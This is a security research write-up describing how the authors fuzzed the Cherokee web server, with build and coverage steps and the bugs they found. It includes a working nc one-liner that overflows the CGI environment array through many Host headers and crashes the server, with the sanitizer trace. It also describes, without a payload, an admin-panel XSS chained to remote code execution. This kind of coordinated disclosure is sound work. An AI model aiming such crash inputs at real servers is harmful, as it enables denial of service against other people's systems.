[EN] A-Z: Cherokee

For the letter c we chose Cherokee project. It is a web server written mainly in C language. What’s interesting, this server may be met on IoT devices including GoPro cameras.

logo

Our approach to find bugs was quite similar to the previous ones, but we decided to extend it in some ways.

Preparing

We started with preparing the environment for fuzzing.

$ git clone https://github.com/cherokee/webserver.git

During building we encountered a problem:

undefined reference to `rpl_malloc`

which was solved by setting ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes. So finally, we were able to build with:

$ ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes LDFLAGS="-lasan" LDADD="-lasan" CFLAGS="-fsanitize=address -ggdb -O0 -fprofile-arcs -ftest-coverage" ./configure --prefix=`pwd`/bin --enable-trace --enable-static-module=all --enable-static --enable-shared=no
make

After building: Run the main server

$ cherokee

and administration panel (with an option to listen on all network interfaces)

$ cherokee-admin -l 0.0.0.0

Fuzzing

Our idea was to test all handlers offered by the server. We enabled and made them available under paths /test1, /test2, …, /test19. Backed up configuration file is also available here.

Radamsa was run from a custom script. A few HTTP requests were taken as an input and after modification were sent to all handlers.

Additional tools

To improve result analysis we set up two additional tools. The first one - gcov, was already configured during the building (with compiler flags -fprofile-arcs -ftest-coverage). This tool helps in measuring code coverage. After some time of fuzzing it was beneficial to verify through how many code paths we went through.

While the application was running, special files *.gcda were created. They can be converted to HTML files with ease to read statistics.

$ lcov --capture --directory . --output-file coverage.info
$ genhtml coverage.info --output-directory out

As the result, coverage report in form of HTML document will appear in out directory.

The second tool - OpenGrok, was set up to help reading the code. It’s a source code browser, supporting cross-reference navigation and search options in a browser. Its installation and configuration process is well documented on the project’s page.

Results

By fuzzing we discovered several crashes in various handlers. All were reported on the Cherokee’s GitHub.

One of the interesting findings was in code responsible for handling headers before passing them to the CGI.

typedef struct {
        cherokee_handler_cgi_base_t base;

        int               post_data_sent;    /* amount POSTed to the CGI */
        int               pipeInput;         /* read from the CGI */
        int               pipeOutput;        /* write to the CGI */
        char             *envp[ENV_VAR_NUM]; /* Environ variables for execve() */
        int               envp_last;
        pid_t             pid;               /* CGI pid */
} cherokee_handler_cgi_t;

Structure cherokee_handler_cgi_t has fixed size array for environmental variables including request headers. When the handler processes a request it adds entries without checking whether boundary value was reached.

310     cgi->envp[cgi->envp_last] = entry;
311     cgi->envp_last++;

So, sending a request with enough headers causes writing outside the array.

echo -e 'GET /test10/test.html HTTP/1.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.170141183460469231731687303715884105727\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 4294967295.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nUser-Agent: python\n\n' | nc 127.0.0.1 80
=================================================================
==10864==ERROR: AddressSanitizer: SEGV on unknown address 0x6180001cb3c0 (pc 0x55c74bfd2f94 bp 0x7f6bac2e6220 sp 0x7f6bac2e61f0 T7)
==10864==The signal is caused by a WRITE memory access.
    #0 0x55c74bfd2f93 in cherokee_handler_cgi_add_env_pair /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:310
    #1 0x55c74c02d6e4 in foreach_header_add_unknown_variable /home/mmm/fuzz/webserver/cherokee/handler_cgi_base.c:664
    #2 0x55c74c09fe32 in cherokee_header_foreach_unknown /home/mmm/fuzz/webserver/cherokee/header.c:1220
    #3 0x55c74c02db36 in cherokee_handler_cgi_base_build_envp /home/mmm/fuzz/webserver/cherokee/handler_cgi_base.c:696
    #4 0x55c74bfd30f3 in add_environment /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:328
    #5 0x55c74bfd6912 in fork_and_execute_cgi_via_spawner /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:787
    #6 0x55c74bfd35a8 in cherokee_handler_cgi_init /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:382
    #7 0x55c74c04b44c in cherokee_handler_init /home/mmm/fuzz/webserver/cherokee/handler.c:93
    #8 0x55c74c048233 in cherokee_connection_open_request /home/mmm/fuzz/webserver/cherokee/connection.c:2678
    #9 0x55c74bf84889 in process_active_connections /home/mmm/fuzz/webserver/cherokee/thread.c:1165
    #10 0x55c74bf8a549 in cherokee_thread_step_MULTI_THREAD /home/mmm/fuzz/webserver/cherokee/thread.c:2086
    #11 0x55c74bf7e300 in thread_routine /home/mmm/fuzz/webserver/cherokee/thread.c:99
    #12 0x7f6bb2b166da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da)
    #13 0x7f6bb263b88e in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:310 in cherokee_handler_cgi_add_env_pair
Thread T7 created by T0 here:
    #0 0x7f6bb2f9dd2f in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x37d2f)
    #1 0x55c74bf7f219 in cherokee_thread_new /home/mmm/fuzz/webserver/cherokee/thread.c:247
    #2 0x55c74bf6773f in initialize_server_threads /home/mmm/fuzz/webserver/cherokee/server.c:671
    #3 0x55c74bf69a05 in cherokee_server_initialize /home/mmm/fuzz/webserver/cherokee/server.c:1053
    #4 0x55c74bf0d76f in common_server_initialization /home/mmm/fuzz/webserver/cherokee/main_worker.c:255
    #5 0x55c74bf0e1f7 in main /home/mmm/fuzz/webserver/cherokee/main_worker.c:393
    #6 0x7f6bb253bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

==10864==ABORTING

XSS

Despite the bugs discovered by fuzzing, two reflected XSS vulnerabilities were found manually:

The first one affects only 400 Bad Request responses, thus it seems hard to be used against the user. The second one was found in the administration handler. This handler is used by default in the administration panel but also can be set up as a handler in the main server. The problem lies in copying the invoked URL to a response. The URL is not encoded before put in HTML, CSS and JavaScript code, so special characters can be placed by an attacker.

As an authenticated administrator has access to powerful options in the panel, we created a Proof of Concept exploit to show how this vulnerability can be used to achieve Remote Code Execution.

After opening the URL all actions are executed by the exploit, no further user interaction was required. For easier development this exploit simulates filling proper inputs in the panel which is quite slow, thus some parts of the video are sped up.

Summary

Utilizing fuzzing adjusted to the project’s features and additionally extending our approach with manual testing, several crashes and XSS vulnerabilities were found. One of them directly lead to RCE.

All reported bugs have been fixed.

Written on November 15, 2019 by Mateusz Kocielski, Michał Dardas